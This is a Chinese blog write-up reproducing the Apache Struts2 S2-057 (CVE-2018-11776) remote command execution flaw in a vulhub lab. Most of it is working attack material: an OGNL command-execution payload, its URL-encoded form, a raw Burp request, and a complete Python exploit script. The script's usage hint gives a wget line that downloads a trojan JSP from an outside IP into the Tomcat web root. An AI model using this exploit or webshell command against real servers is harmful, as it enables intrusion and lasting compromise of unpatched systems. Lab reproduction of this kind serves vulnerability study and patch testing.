S2-057 远程命令执行复现

漏洞篇

发布日期: 2020-10-05

更新日期: 2022-08-25

文章字数: 1.8k

阅读时长: 10 分

0x01 漏洞简介

Apache wiki更新了一个Struts2的远程代码执行漏洞(S2-057)，漏洞威胁等级为高危，漏洞对应的CVE编号为CVE-2018-11776。

定义XML配置时如果没有设置namespace的值，并且上层动作配置中并没有设置或使用通配符namespace时，可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值，并且上层动作并没有设置或使用通配符namespace，从而导致远程代码执行漏洞的发生。

当Struts2的配置满足以下条件时：

alwaysSelectFullNamespace 值为 true
action 元素未设置 namespace 属性，或使用了通配符

namespace将由用户从uri传入，并作为OGNL表达式计算，最终造成任意命令执行漏洞。

影响版本:

Struts2 <= 2.3.34
Struts2 = 2.5.16

0x02 漏洞环境

使用 vulhub 快速搭建满足条件的 Struts 2.3.34 环境：

cd /vulhub/struts2/s2-057
docker-compose up -d

环境启动后，访问http://your-ip:8080/showcase/，即可看到Struts2的测试页面。

0x03 漏洞复现

首先测试OGNL表达式${233*233}：

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

可见 233*233 的结果已返回在url中

使用S2-057原理分析与复现过程（POC）中给出的执行任意命令的OGNL表达式：

# 表达式命令格式
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('要执行的命令')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

# 例子：执行id命令
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

将上述例子中的OGNL表达式转化为url编码

$%7b%0d%0a%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d

然后用Burp抓包，将url编码后的表达式代入

GET /struts2-showcase/$%7b%0d%0a%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action HTTP/1.1

注意：url编码后拼接的/actionChain1.action不能少

即可在响应包的location处看到执行的命令结果

0x04 漏洞EXP

在Github上发现了一个漏洞EXP，经测试可以使用

python s2-057.py http://192.168.126.130:8080/showcase/ "id"

EXP源代码如下：

import requests
import sys
from lxml import html

class Exploit:
    def __init__(self):
        self.payload="/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('"+cmd+"')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D"
    def exp(self,url,cmd):
        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Referer':'http://96.63.216.104:8080/actionchaining/register2.action','Connection':'close','Cookie':'JSESSIONID=E25862AE388D006049EA9D3CEF12F246','Upgrade-Insecure-Requests':'1','Cache-Control':'max-age=0'}
        tturl=url+"/struts2-showcase/"+"%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('"+cmd+"')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D"+"/actionChain1.action"
        r=requests.get(tturl,headers=headers)
        page=r.text
        etree=html.etree
        page=etree.HTML(page)
        data=page.xpath('//footer/div[1]/p[1]/a[1]/@*')
        print(data)

if __name__=='__main__':
    print('+------------------------------------------------------------+')
    print('+ USE: python3 <filename> <url> <command>                    +')
    print('+ EXP: python3 struts2-057_command.py http://1.1.1.1:9081 id +')
    print('+ VER: Struts 2.0.4-2.3.34                                   +')
    print('+      Struts 2.5.0-2.5.16                                   +')
    print('+------------------------------------------------------------+')
    print('+ S2-057 远程执行漏洞 && CVE-2018-11776                      +')
    print('+------------------------------------------------------------+')
    if len(sys.argv)!=3:
        print("[+]ussage: http://ip:端口 cmd命令")
        print("[+]hint:wget%20-P%20/usr/local/tomcat/webapps/ROOT/%2096.63.216.104/1.jsp 下载木马")
        print("[+]===============================================================================")
        sys.exit()
    url=sys.argv[1]
    cmd=sys.argv[2]
    attack=Exploit()
    attack.exp(url,cmd)